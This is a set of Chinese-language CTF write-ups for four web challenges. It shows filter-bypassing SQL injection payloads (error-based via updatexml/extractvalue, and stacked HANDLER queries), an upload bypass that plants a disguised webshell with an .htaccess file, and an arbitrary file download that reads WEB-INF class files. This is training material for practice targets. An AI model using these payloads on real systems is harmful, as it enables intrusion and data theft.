[极客大挑战 2019]HardSQL
先用正常的万能密码测试一下
1' or '1' = '1 #
大概率是被过滤了,fuzz测试一下,发现union,and,空格,/**/,很多都被过滤了,既然union被过滤了就考虑报错和盲注了,优先考虑报错注入
查数据库:
and被过滤了那我们就用^代替,空格和/**/被过滤了就用()代替,用or代替and也行
'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
查表/字段:
'or(extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))#
查数据:
'^(extractvalue(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)))))#
[GXYCTF2019]BabyUpload
文件上传绕过,让人很无语的一点就是,只支持jpeg文件,测试半天
三处绕过:
文件名不能有ph,那么我们的PHP,phtml,php5这些都不行,随便整个png后缀就行了
文件类型image/jpeg(唯一
文件内容,会检测<?,用<script>标签绕过就行
然后再上传一个.htaccess文件就行了
[GYCTF2020]Blacklist
和强网杯的随便注基本一样,都是堆叠查询注入,但是这里过滤了alert,prepare等关键字,所以强网杯的解法是不行的
这里要用到MySQL8.0更新后的HANDLER
语句来替代SELECT查询,具体语法如下
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
该HANDLER
语句提供对表存储引擎接口的直接访问。它可用于 InnoDB
和MyISAM
表。
该HANDLER ... OPEN
语句打开一个表,使其可以使用后续HANDLER ... READ
语句访问。HANDLER ... CLOSE
此表对象不被其他会话共享,并且在会话调用或会话终止 之前不会关闭 。
最终的语句就是这样
0';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
[RoarCTF 2019]Easy Java
打开界面是一个登录框,抓包也没有发现什么有用的东西,试着用一下弱密码
admin/admin888
返回到登录界面,发现了hlep,打开之后观察到url的变化
Download?filename=help.docx
猜测可能是任意文件下载,我们用GET方式并不能下载下来,修改为POST就能看到下载的内容了
因为这是java的下载页面,所以我们考虑的源码泄露应该是WEB-INF
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码
先看一看/WEB-INF/web.xml
爆出了flag所在的目录,最后的payload就是
filename=WEB-INF/classes/com/wm/ctf/FlagController.class